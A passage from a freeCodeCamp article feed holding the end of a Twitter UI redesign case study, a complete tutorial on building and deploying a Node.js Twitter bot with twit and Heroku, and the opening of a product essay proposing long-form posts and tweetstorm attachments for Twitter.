<p>I ran a survey and found that only 5/10 users (50%) found Tweeting easy to do at their first go-around. For their core service to only be easy for 5/10 people seems to be a bit of a concern because without it, there is no Twitter. I definitely think a UI improvement could help with this.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/hCxRjbIZ9uxFxR8ScJHpe3jDTvbsJG5q4k0n" alt="Image" width="600" height="400" loading="lazy"></p>
<h4 id="heading-23-awareness-of-periscope-and-ease-of-use-level">2./3. Awareness of Periscope and Ease-of-Use Level</h4>
<p>It amazed me to find that only 43% (10/23) of Twitter users I asked knew that they could live-video stream! Additionally, these weren’t just any random users. These were people that have been using Twitter for years and are in the 18–24 and 25–34 age group.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/Pwlj5dbmhWSZcjjoMISBxN1iDM3CrvnjT6Gf" alt="Image" width="600" height="400" loading="lazy"></p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/BbO06HpvcQ1z8gGC25ugaHhrC8fL1yM1YmAp" alt="Image" width="600" height="400" loading="lazy">
<em>“Peri — what?”</em></p>
<h3 id="heading-technical-analysis">Technical Analysis</h3>
<p>First, understanding Twitter’s current layout will inform us of how it tends to its users’ needs. I’ve laid out the UI and split it up into blocks, as each block has a purpose, and in each block, we’ll see what/how it can be improved. Let’s take a look:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/MjmdyUj71nFQ6h8uVPEfJvE-dujuaAQNiPLR" alt="Image" width="600" height="400" loading="lazy"></p>
<ul>
<li>Block 1: This is basically Twitter’s bread and butter since this is where users go to Tweet. I believe it can be improved because the Tweet button is out of the thumb’s natural radius zone (see change 1 below).</li>
<li>Block 2: This is where the Twitter feed is. There’s nothing wrong with it, but I believe a minor improvement can make it better.</li>
<li>Block 3: This is where users go to navigate through the different Twitter views. There’s nothing wrong with it, but since users constantly have their eyes down here, a key addition would probably help them reach their long-term goals.</li>
</ul>
<h3 id="heading-results">Results</h3>
<h4 id="heading-change-1-improve-core-service-relocate-and-change-the-tweet-button">Change #1: Improve Core Service: Relocate and change the Tweet button</h4>
<p><img src="https://cdn-media-1.freecodecamp.org/images/gEW2dpWH1EBltowlm3dy25z-WhDlDbfj9d0h" alt="Image" width="600" height="400" loading="lazy">
<em>The Thumb Zone</em></p>
<p>By moving the Tweet button to the bottom-middle, adding a label, increasing its size, and giving it color, users will know exactly what that button is just by looking at it. Also, by giving it a background color, it acts as a call to action that essentially tells the user “Hey! Press me!”</p>
<p>Most importantly, it’s in an easier location for users to press due to being in a comfortable location for thumbs (see picture above).</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/mxOyEv32QmKgMXwv9ZgGSx8nnT2DGegFfbaH" alt="Image" width="600" height="400" loading="lazy">
<em>Now, Tweeting is “Natural” instead of “Ow”.</em></p>
<h4 id="heading-change-2-improve-live-video-streaming-by-moving-periscope-live-to-the-home-feed">Change #2: Improve Live-Video Streaming by moving Periscope Live to the Home feed</h4>
<p>In conjunction with Twitter focusing on live-streaming (Periscope), the idea for this change came when I saw my buddy miss that moment at a concert he wanted to record live, because it took him too much time to hit Periscope. By the time he had gone live, the intro he wanted to capture had already been missed. Yes, he could have activated it earlier. But sometimes life’s moments need to be caught quickly.</p>
<p>The current 3-step process to go live goes like this:</p>
<ol>
<li>Hit the Tweet button</li>
<li>Wait for the Tweet view to slide up</li>
<li>Hit “Live”</li>
</ol>
<p>For the sake of speed, it should be:</p>
<ol>
<li>Hit “Live”</li>
</ol>
<p>That’s it. Just one step.</p>
<p>To do this, I had to remove the Live button from the Tweet view and bring it to the Home view. By bringing it there, it’s accessible in just 1 step.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/Vut8yUGFO8S1De6WFxfmMrzrrOEZjwc1XDs-" alt="Image" width="600" height="400" loading="lazy">
<em>Live is for catching life’s moments, so it should be in a place you can get to it fast.</em></p>
<h4 id="heading-change-3-update-the-feed">Change #3: Update the feed</h4>
<p>Twitter’s feed is pretty good, but I believe a few minor changes can improve it.</p>
<ul>
<li>I changed the Twitter icon to look less similar to the buttons near it (Messages &amp; Live) because their weights looked too similar. By having drastically different weights, it’s easier for users to know that it’s not a button without having to press it.</li>
<li>I added space in-between each tweet so they’re less cramped together. This helps people identify conversations on their feeds easier, since chains are spaced from the rest of the Tweets now.</li>
<li>I changed the AVI frame from a rounded square to a circle.</li>
</ul>
<p><img src="https://cdn-media-1.freecodecamp.org/images/Gul3p5jAyISpM1nvj4oNxhCnJw9Q97r4Kj0Z" alt="Image" width="600" height="400" loading="lazy"></p>
<h3 id="heading-conclusion">Conclusion</h3>
<p>Twitter is one of my favorite apps and I use it daily, so working on this project was fun for me to work on. I also knew this would be a great way for me to hone my design capabilities, seeing as how Twitter is already a great mobile app.</p>
<p>I built an ? i<a target="_blank" href="https://invis.io/SWA9B1RX2">nteractive prototype here</a> ? using Sketch and Invision.</p>
<p>If you’ve read this far, I appreciate you! Hopefully, I’ve written something that was helpful or interesting to you.</p>
<blockquote>
<p>“Design is not just what it looks like and feels like. Design is how it works.” — Steve Jobs</p>
</blockquote>
<p>Thanks for reading and happy designing!</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Why you should have your own Twitter bot, and how to build one in less than 30 minutes ]]>
                </title>
                <description>
                    <![CDATA[ By Scott Spence UPDATE 20171102: Since this story was originally posted back in January 2017 there have been a few things that have changed with the repository on GitHub, if you are going to be following along I’d suggest using the repository [READM... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/easily-set-up-your-own-twitter-bot-4aeed5e61f7f/</link>
                <guid isPermaLink="false">66d852248e9682396f12e785</guid>
                
                    <category>
                        <![CDATA[ bots ]]>
                    </category>
                
                    <category>
                        <![CDATA[ JavaScript ]]>
                    </category>
                
                    <category>
                        <![CDATA[ social media ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tech  ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Twitter ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Sat, 28 Jan 2017 00:00:00 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/0*TZYrBalMX5If2Jj3.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Scott Spence</p>
<blockquote>
<p><strong>UPDATE 20171102:</strong> Since this story was originally posted back in January 2017 there have been a few things that have changed with the repository on GitHub, if you are going to be following along I’d suggest using the repository <code>[README.md](https://github.com/spences10/twitter-bot-bootstrap/#twitter-bot-bootstrap)</code> in conjunction with this story to save any confusion.</p>
</blockquote>
<p>Twitter bots can do a heck of a lot more than just spam trending hashtags and relentlessly follow users.</p>
<p>Take the <a target="_blank" href="https://twitter.com/twisst">Twisst ISS alerts</a> bot, which sends you a direct message whenever the international space station (ISS) will be visible at your location.</p>
<p>Or public service bots like the <a target="_blank" href="https://twitter.com/earthquakeBot">Earthquake Robot</a>, which tweets about any earthquake greater than 5.0 on the Richter Scale as it happens.</p>
<p>And of course a robot that tweets poetry, <a target="_blank" href="https://twitter.com/poem_exe">poem.exe</a>, along with one that will retweet your tweets that also happen to be an <a target="_blank" href="https://twitter.com/accidental575">Accidental Haiku</a>.</p>
<p>I personally use a bot to enhance my <a target="_blank" href="https://twitter.com/ScottDevTweets">@ScottDevTweets</a> account by liking and re-tweeting subjects I have an interest in.</p>
<p>The <a target="_blank" href="https://twitter.com/search?q=%23100DaysOfCode&amp;src=savs">#100DaysOfCode</a> community challenge will congratulate you on starting the #100DaysOfCode challenge, and again when you reach specific milestones.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/yi92dikGnakxhxMqH9UsdkUTX7akOOyOC3hi" alt="Image" width="600" height="400" loading="lazy">
<em>Bot user congratulate</em></p>
<p>It will also reply with encouragement if it detects negative sentiment (frustration) in a tweet that has the #100DaysOfCode hashtag in it.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/4GbSvxcYAx7pbZ8fP32hyr97WymQ4I-A693F" alt="Image" width="600" height="400" loading="lazy">
<em>Bot sentiment detection</em></p>
<p>One question I’m asked in job interviews quite often is “what do you get out of working with technology?” I always answer that “I like to automate repetitive tasks to save me time so I can concentrate on other stuff. I like the the feeling of accomplishment that comes with having saved myself some time.”</p>
<p>In the case of my @ScottDevTweets bot, it’s usually an opener for a conversation with another person who follows me. So the bot can initiate the conversation, then I can carry on from where the bot left off.</p>
<p>Bearing this in mind, a bot is only as ethical as the person who programmed it.</p>
<p>If you have any doubts about the ethics of the bot you’re building, check out <a target="_blank" href="https://botwiki.org/bot-ethics">botwiki</a>’s ethics section.</p>
<p>So, ready to get started? OK. Let’s do this!</p>
<h3 id="heading-how-to-build-a-twitter-bot-in-30-minutes">How to build a Twitter Bot in 30 minutes</h3>
<p>You’re going to use the <code>twit</code> library to build a Twitter bot. It will like and re-tweet whatever you specify. It will also reply to your followers with a selection of canned responses.</p>
<p>Before starting the clock you’ll need to set up some accounts set up if you don’t have them already.</p>
<h3 id="heading-what-youll-need">What you’ll need</h3>
<ul>
<li><a target="_blank" href="https://twitter.com/signup">Twitter</a></li>
<li><a target="_blank" href="https://c9.io/signup">Cloud9 IDE</a></li>
<li><a target="_blank" href="https://signup.heroku.com/">Heroku</a></li>
</ul>
<h3 id="heading-step-1-set-up-a-twitter-application">Step #1: Set up a Twitter application</h3>
<p>Either create a new Twitter account or use your own to <a target="_blank" href="https://apps.twitter.com/app/new">create a new Twitter application</a>.</p>
<p>As an example, I’ll configure my old <a target="_blank" href="https://twitter.com/droidscott">@DroidScott</a> twitter account so you can follow along.</p>
<p>Be sure to add your phone number to your Twitter account before clicking the <strong>Create your Twitter application</strong> button.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/8uxpErBxq4u2urpsGU6xSOU40OljUdwAxGYb" alt="Image" width="800" height="732" loading="lazy"></p>
<p>You should now be in the ‘Application Management’ section, where you will need to take a note of your keys. You should have your ‘Consumer Key (API Key)’ and ‘Consumer Secret (API Secret)’ already available.</p>
<p>You’ll need to scroll to the bottom of the page and click the <strong>Create my access token</strong> to get the ‘Access Token’ and ‘Access Token Secret’ take note of all four of them you’ll need them when setting up the bot.</p>
<h3 id="heading-step-2-set-up-your-development-environment">Step #2: Set up your development environment</h3>
<p>For this I’m just going to say use <a target="_blank" href="https://c9.io/">Cloud9</a> as you can be up and running in minutes with one of the pre-made Node.js environments.</p>
<p>Note that if you choose to use Heroku and/or Cloud9 IDE in building this (like I do in this guide) in some regions you will be prompted to give a credit card number to create these accounts.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/-TD2WPEtoVjnBY0hfFD0HEocqZyqVaaCN7m3" alt="Image" width="600" height="400" loading="lazy"></p>
<h3 id="heading-set-up-the-bot">Set up the bot</h3>
<p>In the project tree delete the example project files of <code>client</code>, <code>package.json</code>, <code>README.md</code> and <code>server.js</code> you’ll not need them, you can leave them there if you desire.</p>
<p>In your new Node.js c9 environment go to the terminal and enter:</p>
<pre><code>git clone https:<span class="hljs-comment">//github.com/spences10/twitter-bot-bootstrap</span>
</code></pre><h4 id="heading-project-structure">Project structure</h4>
<p>The environment project tree should look something like this:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/erBjIDDknKxvS0B3GHKLFMIbDM81iOj0kgoW" alt="Image" width="600" height="400" loading="lazy"></p>
<h3 id="heading-node-dependencies">Node dependencies</h3>
<p>Before configuring the bot we’ll need to install the dependencies, cd into the project folder with <code>cd tw*</code> this will move you to <code>:~/workspace/twitter-bot-bootstrap (master) $</code> from the terminal enter:</p>
<pre><code>npm install
</code></pre><p>This will install all the dependencies listed in the <code>package.json</code> file.</p>
<p>If you get any errors then I suggest installing the dependencies one by one from the <code>package.json</code> file with the same command and the package name at the end:</p>
<p>Here is an example of the <code>dependencies</code> in the <code>package,json</code> file:</p>
<pre><code><span class="hljs-string">"dependencies"</span>: {    <span class="hljs-string">"dotenv"</span>: <span class="hljs-string">"^4.0.0"</span>,    <span class="hljs-string">"twit"</span>: <span class="hljs-string">"^2.2.5"</span>,    <span class="hljs-string">"unique-random-array"</span>: <span class="hljs-string">"^1.0.0"</span>,    <span class="hljs-string">"unirest"</span>: <span class="hljs-string">"^0.5.1"</span>  }
</code></pre><p>The npm command to install them all:</p>
<pre><code>npm install --save dotenv twit unique-random-array unirest
</code></pre><p>If you get any <code>WARN</code> messages such as <code>npm WARN package.json twitter-bot@1.0.0 No repository field</code> this will not break the bot so it's safe to ignore.</p>
<p>Now you can configure the bot. From the terminal enter:</p>
<pre><code>npm init
</code></pre><p>This will configure the <code>package.json</code> file with your details as desired. Just keep hitting return if you're happy with the defaults.</p>
<p>Now you’ll need to add your Twitter keys to the <code>.env</code> file. Just input the keys in their corresponding fields and save the file.</p>
<p>If you can not find the <code>.env</code> file in the file structure of your c9 project then you will need to enable the <code>Show Hidden Files</code>option. In the file view select the settings cog then tick the <code>Show Hidden Files</code> option if it is not already checked.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/0dqpIHTE7aBEBFVSOmpoU1mGGu4U79w7HH4R" alt="Image" width="800" height="468" loading="lazy"></p>
<p>The <code>SENTIMENT_KEY</code> you can get a new API key at <a target="_blank" href="https://market.mashape.com/vivekn/sentiment-3">https://market.mashape.com/vivekn/sentiment-3</a> your key is in the <code>REQUEST EXAMPLE</code></p>
<p>Take a look at the gif, click the link, sign up for or sign into <code>mashape</code>, click on <code>node</code> in the right hand panel and select out your API key, it will be in the space highlighted <code>&lt;requir</code>ed&gt; in the gif.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/XuwVyc42-Ji2JZp3xdAambdU-4ZstLu3h5MK" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Add your API key to the <code>.env</code> file along with your Twitter API keys ?</p>
<p>Here you should add your Twitter account name, and how often you want the bot to run the retweet and favorite functions in minutes.</p>
<blockquote>
<p><em>NOTE none of the <code>.env</code> items have quotes <code>''</code> round them.</em></p>
</blockquote>
<pre><code>CONSUMER_KEY=Fw***********P9CONSUMER_SECRET=TD************CqACCESS_TOKEN=<span class="hljs-number">31</span>**************UCACCESS_TOKEN_SECRET=r0************S2SENTIMENT_KEY=Gj************lFTWITTER_USERNAME=DroidScottTWITTER_RETWEET_RATE=<span class="hljs-number">5</span>TWITTER_FAVORITE_RATE=<span class="hljs-number">5</span>
</code></pre><p>You can then add some keywords into the <code>strings.js</code> file for what you want to search for as well as sub-queries.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/cyIPkBgnegAaQhazsjKGk4vlYlMYaSri99Ak" alt="Image" width="600" height="400" loading="lazy">
<em>add query and sub-query strings you can also update blocked strings to block more stuff</em></p>
<p>When adding sub-query strings make sure you leave a space at the beginning of the string so <code>' handy tip'</code> gets concatenated onto <code>'node.js'</code> as <code>node.js handy tip</code> and not <code>node.jshandy tip</code>.</p>
<p>That should be it, go to the terminal and enter <code>npm start</code> you should get some output:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/cAf4CXWtySOLnJo3QH3xGB6e4PvGNY8veFhB" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Check the Twitter account:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/OpqXq42iaf4kkk7xcn5G-OXg8BgrCc3uyECI" alt="Image" width="600" height="400" loading="lazy"></p>
<h3 id="heading-step-3-setting-up-heroku">Step #3: Setting up Heroku</h3>
<p>Cool, now we have a bot that we can test on our dev environment but we can’t leave it there, we’ll need to deploy it to Heroku.</p>
<p>If you haven’t done so already set up a <a target="_blank" href="https://signup.heroku.com/">Heroku account</a> then select <strong>Create a new app</strong> from the dropdown box top right of your dashboard, in the next screen name the app it if you want, then click <strong>Create App</strong>.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/tNXyeqUx-eoCk-QwAtTPcuepDfzYAJh97Xtx" alt="Image" width="600" height="400" loading="lazy"></p>
<p>You’ll be presented with your app dashboard and instructions for the deployment method.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/VgCHJpWojzMLrRkYhA2eX2lC-S7Wnh3iZNTS" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Your app name should be displayed on the top of your dashboard, you’ll need this when logging in with the Heroku command line interface, which we’ll use to deploy your app.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/MXb1DLOg1pHuhv52dISmbAAx93a3TpwV0-si" alt="Image" width="600" height="400" loading="lazy"></p>
<h3 id="heading-heroku-cli">Heroku CLI</h3>
<p>We’re going to deploy initially via the Heroku Command Line Interface (<em>CLI</em>).</p>
<p>On your c9 environment terminal, log into Heroku [it should be installed by default]</p>
<pre><code>heroku login
</code></pre><p>Enter your credentials:</p>
<pre><code>cd twitter-bot-bootstrap git init heroku git:remote -a your-heroku-app-name
</code></pre><p>Deploy your application:</p>
<pre><code>git add . git commit -am <span class="hljs-string">'make it better'</span> git push heroku master
</code></pre><p>You should get build output in the terminal:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/LAyCTurdXyrBq0RVcNX9oFje4NH31heVA9yd" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Then check the output with:</p>
<pre><code>heroku logs -t
</code></pre><p>All good? Cool! ?</p>
<h4 id="heading-configuring-heroku-variables">Configuring Heroku variables</h4>
<p>Now that we have our bot on Heroku we need to add environment variables to store our Twitter keys. This is because the <code>.env</code> file where we stored our keys is listed in the <code>.gitignore</code> file, which tells git not to upload that file to Heroku. It also makes it so if in the future we want to add our code to GitHub we don't have to worry about the <code>.env</code> file making our keys public, because the file will automatically be ignored.</p>
<p>All you need to do is go to the console of your Heroku app and select the ‘Settings’ sections and add in your Twitter keys from the <code>.env</code> file. Click the 'Reveal Config Vars' button and add in the variables with their corresponding values:</p>
<pre><code>CONSUMER_KEYCONSUMER_SECRETACCESS_TOKENACCESS_TOKEN_SECRETSENTIMENT_KEY
</code></pre><p>Once you have the Heroku vars set up, take a look at the <code>config.js</code> file of this project. You are going to delete this line:</p>
<pre><code><span class="hljs-built_in">require</span>(<span class="hljs-string">'dotenv'</span>).config();
</code></pre><p>You’re now ready to deploy to Heroku again. Your console commands should look something like this:</p>
<pre><code>$ git add .$ git commit -m <span class="hljs-string">'add environment variables'</span>$ git push heroku master
</code></pre><p>Then you can check the Heroku logs again with:</p>
<pre><code>$ heroku logs -t
</code></pre><p>You should now have a bot you can leave to do its thing forever more, or until you decide you want to change the search criteria ?</p>
<h4 id="heading-heroku-deployment-via-github">Heroku deployment via GitHub</h4>
<p>You can also deploy your app by connecting to GitHub and deploy automatically to Heroku each time your master branch is updated on GitHub, this is straight forward enough.</p>
<p>Go to the ‘Deploy’ dashboard on Heroku, select GitHub as the deployment method if you have connected your GitHub account to your Heroku account then you can search for the repository so if you forked this repo then you can just enter <code>twitter-bot-bootstrap</code> and <strong>Search</strong> you can then click the <strong>Connect</strong> button, you can then auto deploy from GitHub.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/Bg1mIVR4E7e5zkg0yXv4wvsS9qh9bIjmzRB8" alt="Image" width="600" height="400" loading="lazy"></p>
<h3 id="heading-heroku-troubleshooting">Heroku troubleshooting</h3>
<p>What do you mean it crashed!?</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/9nRGo0uO4wvcKzfYV-4MdtgU7c81LOYtABlV" alt="Image" width="800" height="79" loading="lazy"></p>
<p>Ok, I found that sometimes the <code>worker</code> is set as <code>web</code> and it crashes out, try setting the <code>worker</code> again with:</p>
<pre><code>heroku ps:scale worker=<span class="hljs-number">0</span> heroku ps:scale worker=<span class="hljs-number">1</span>
</code></pre><p>If that still crashes out then try setting the <code>Resources</code> on the Heroku dashboard, I found if you toggle between the <code>web</code>, <code>heroku</code> and <code>worker</code> it usually settles down. Basically you need to be set to the <code>worker</code> Dyno this is what causes the <code>Error R10 (Boot timeout)</code> crashes because it's trying to use one of the other resources when it should be using the <code>worker</code> Dyno.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/AEaQ8BFU59t41L4RTsXgkCqKF1yPeyP9nWpn" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Other useful Heroku commands I use:</p>
<pre><code>heroku restart
</code></pre><p>By default you can only push your master branch if you are working on a development branch i.e. <code>dev</code> branch. If you want to test on Heroku, then you can use:</p>
<pre><code>git push heroku dev:master
</code></pre><h3 id="heading-handy-tip">Handy tip</h3>
<p>If you want to add this to your own GitHub repo and don’t want to share your API keys ? with the world then you should turn off tracking on the .<code>env</code> file. From the terminal enter this git command:</p>
<pre><code>$ git update-index --assume-unchanged .env
</code></pre><p>I have added my most used git command I use in this <a target="_blank" href="https://gist.github.com/spences10/5c492e197e95158809a83650ff97fc3a">gist</a></p>
<h3 id="heading-wrapping-up">Wrapping up</h3>
<p>Your Twitter bot should now be live. You can tinker with it and further configure it.</p>
<p>Here’s my <a target="_blank" href="https://github.com/spences10/twitter-bot-bootstrap">repository</a> if you’d like to fork it and contribute back using pull requests. Any contributions large or small — major features, bug-fixes, integration tests — are welcome, but will be thoroughly reviewed and discussed.</p>
<h3 id="heading-acknowledgements">Acknowledgements</h3>
<p>Credit for the inspiration for this should go to <a target="_blank" href="https://twitter.com/amanhimself">@amanhimself</a> and his posts on creating your own twitter bot.</p>
<p><a target="_blank" href="https://hackernoon.com/create-a-simple-twitter-bot-with-node-js-5b14eb006c08#.flysreo60">create-a-simple-twitter-bot-with-node-js</a></p>
<p><a target="_blank" href="https://chatbotslife.com/how-to-make-a-twitter-bot-with-nodejs-d5cb04fdbf97#.h5ah8dq5n">how-to-make-a-twitter-bot-with-nodejs</a></p>
<p><a target="_blank" href="https://medium.com/@spences10/twitter-mctwitbot-4d15cd005dc0#.dp9q5f427">twitter-mctwitbot</a></p>
<p><a target="_blank" href="https://github.com/amandeepmittal/awesome-twitter-bots">awesome-twitter-bots</a></p>
<p>Other posts detailing useful Twitter bots.</p>
<p><a target="_blank" href="http://www.brit.co/twitter-bots-to-follow/">www.brit.co/twitter-bots-to-follow</a></p>
<p><a target="_blank" href="http://www.hongkiat.com/blog/using-twitter-bots/">www.hongkiat.com/using-twitter-bots</a></p>
<p>Made it this far? Wow, thanks for reading! If you liked this story, please don’t forget to recommend it by clicking the ❤ button on the side, and by sharing it with your friends through social media.</p>
<p>If you want to learn more about me, visit my <a target="_blank" href="http://spences10.github.io">blog</a>, my <a target="_blank" href="https://github.com/spences10">Github</a>, or tweet me <a target="_blank" href="https://twitter.com/ScottDevTweets">@ScottDevTweets</a>.</p>
<blockquote>
<p><strong>You can read other articles like this on <a target="_blank" href="https://thelocalhost.blog/">my blog</a>.</strong></p>
</blockquote>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ If I Ran Product at Twitter ]]>
                </title>
                <description>
                    <![CDATA[ By Austen Allred I think about Twitter a lot. Probably more than someone who doesn’t have any monetary incentive to do so ever should. I’m not an investor (even in the public market), I don’t have a relationship with anyone who works there, and I hav... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/if-i-ran-product-at-twitter-b8dc1e3458cd/</link>
                <guid isPermaLink="false">66c35787cf1314a450f0d6a9</guid>
                
                    <category>
                        <![CDATA[ Design ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Product Management ]]>
                    </category>
                
                    <category>
                        <![CDATA[ social media ]]>
                    </category>
                
                    <category>
                        <![CDATA[ startup ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Twitter ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Wed, 20 Jan 2016 22:36:00 +0000</pubDate>
                <media:content url="https://s3.amazonaws.com/cdn-media-1.freecodecamp.org/ghost/2019/05/1_69IwUfCLRSi6l966dXRixA.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Austen Allred</p>
<p>I think about Twitter a lot. Probably more than someone who doesn’t have any monetary incentive to do so ever should. I’m not an investor (even in the public market), I don’t have a relationship with anyone who works there, and I have no power whatsoever to enact any changes, but I do deeply love the product, not to mention what it’s done for my life.</p>
<p>This post originally started with me hammering out some stuff on an airplane as a bit of a thought experiment, and ended up as me thinking about the product as if it were my own.</p>
<p>I came at this from the perspective of a startup founder: How could an engineering team get the most bang for their buck? I’m sure Twitter is spread very thin, so partially as a challenge and partially because that’s the way I’m used to thinking, I tried to reuse as many existing elements and design patterns as possible to make the hypothetical changes relatively simple ones.</p>
<p>But first, before we jump in, we need to understand a bit about where Twitter is at and why.</p>
<h3 id="heading-twitters-troubles">Twitter’s Troubles</h3>
<p>It’s no secret that Twitter has hit a few bumps on the road. User growth has slowed, the stock price is <a target="_blank" href="http://techcrunch.com/2016/01/19/the-fail-whale-returns-twitter-went-down-across-many-regions-today/">lower than ever</a>, Wall Street ran out of patience with Jack as a CEO about 12 hours after he started, and every now and then I catch wind of talent abandoning ship — not an ideal place to be as a public company.</p>
<p>But that having been said, I’m still long on Twitter. Even as VCs <a target="_blank" href="https://twitter.com/sama/status/688800885783199744">speculate</a> as to whether or not Twitter could be replaced in three years, I believe it’s too good of a product with too strong of a network to just fade away. I’m of the opinion that all of these problems can and will be fixed.</p>
<p>In short, I’m long on Twitter.</p>
<h3 id="heading-dissecting-tweets">Dissecting Tweets</h3>
<p>Before we dive too heavily into the changes I would make at Twitter, it’s helpful to develop an understanding of what I consider to be the fundamental elements of a tweet and home Twitter feed. When we do so seeing where other features and fixes should fit in becomes much easier.</p>
<p>A tweet can be divided into four basic elements:</p>
<ol>
<li>The tweet text. The 140 chars. (red).</li>
<li>Where the tweet came from. Was it a retweet? Is it from moments? (green).</li>
<li>Attachments. These include photos, videos, vines, periscope, links, and now even other tweets. (blue).</li>
<li>Metadata. Who tweeted, timestamp. (black).</li>
</ol>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*dYwdn3UVFCjGy0472853hw.png" alt="Image" width="394" height="699" loading="lazy"></p>
<h3 id="heading-140-chars-replacing-the-screenshot">140 Chars (Replacing the Screenshot)</h3>
<p>As a result of the SMS constraints Jack mentions in the tweet above, one of the great accidental features of Twitter is its forced brevity. I’m sure you know, but just as a refresher, each tweet has to be less than (or equal to) 140 characters.</p>
<p>Many people think that this is great because it limits the vertical space tweets take up in your feed. While this is true, the positive aspects of a limited number of characters are much deeper than tweets not being very tall. (If screen real estate were the only problem there would be an easy fix — only show the first 140 characters and have a “show more” button or something equivalent.) But that’s not the point.</p>
<p>The important aspect of the 140 chars is the cognitive load required to fill up 140 chars. Jack once described it using this metaphor: Imagine yourself in front of a mural which is to be your canvas; something 20 feet wide by 8 feet tall. You are forced to think and plan and know exactly what you should do with every inch of white space.</p>
<p>Now compare that to a Post-it Note. With a Post-it you just jot something down and move on.</p>
<p>Twitter right now is the equivalent of a Post-it note. That’s fantastic for many use cases, and it has generated an absurdly high amount of content from a wide variety of sources.</p>
<p>But some thoughts just don’t fit on Post-its. Users have used screenshots, tweetstorms, and even external sites like twitlonger to get around the 140 character constraint. It’s obviously something Twitter should support natively — why send everyone away and give up those clicks and eyeballs?</p>
<p>If nothing else, it seems a little bit ridiculous that the best way the former CEO of Twitter can communicate is by taking screenshots of his iOS Notes app.</p>
<p>So the challenge is solving the need for longer tweets without eliminating the benefits of the constraints. How do you stop making users jump through hoops or use hacky workarounds to make the product do what they want?</p>
<p>Now that we understand the anatomy of a tweet, it’s really quite simple.</p>
<h4 id="heading-the-post">The Post</h4>
<p>There are several attachment types supported natively within Twitter. Some you add from within the app (photos, videos and polls), some are parsed from the body of the tweet (links and links to tweets), and some come from external apps (Vine and Periscope).</p>
<p>The attachments one can tweet from within the app are available at the bottom of each “compose Tweet” screen.</p>
<p>All that Twitter needs to do to overcome the 140 character dilemma is to add a larger canvas as a new attachment type. I’d call it, simply enough, the “post.”</p>
<p>You could lay it out this way (forgive me, I’m not a designer).</p>
<p>Place a button to the right of the poll button, and you get:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*AD8CxaxNo5iaPeetIeH4yg.png" alt="Image" width="398" height="697" loading="lazy"></p>
<p>Tap that button, and you’re on to:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*hBmCNkABUajOIv0uBcatkQ.png" alt="Image" width="396" height="696" loading="lazy">
<em>Yes, this is a Medium ripoff</em></p>
<p>It’s just like attaching a photo, except instead of selecting a photo to attach you’re adding text to a post. As simple as a screenshot, but with much more utility.</p>
<p>The text editor itself doesn’t have to be as fancy as pictured above; it could literally be plain text and people would use it like crazy.</p>
<p>The way you display that in a timeline has also already been solved: it’s just one more form of attachment, the same way a photo or quoted tweet is:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*RxLZbV1yYMof11qbiJVfWA.png" alt="Image" width="604" height="240" loading="lazy"></p>
<p>You could start with a very simple editing and reading experience, and end up with something similar to Medium, but built natively within Twitter itself.</p>
<p>That’s where things get real interesting. Instead of Twitter being a microblogging platform, it could actually become… a blogging platform.</p>
<h4 id="heading-the-tweetstorm">The Tweetstorm</h4>
<p>But a post is somewhat different than a tweetstorm. A post is a long blurb of text, where a tweetstorm is a collection of tweets as individual units; each one can be retweeted, replied to, and interacted with within its own context. I don’t think you want to (or would) lose tweetstorms as a result of having a post. So I think of tweetstorms separately, yet again as a type of attachment.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*phOyf1goql-u4g5vF7XbJQ.png" alt="Image" width="398" height="697" loading="lazy">
<em>Adding a tweetstorm button is straight-forward</em></p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*Ld_jWeFOE0CWpfOF6IqPVg.png" alt="Image" width="398" height="697" loading="lazy">
<em>As is actually implementing the tweetstorm compose functionality</em></p>
<p>You could even use something very similar to the create poll screen, except instead of adding a lot of poll options you’re adding additional tweets. (You’d probably use several text areas instead of text fields, of course, but the principle of the matter remains).</p>
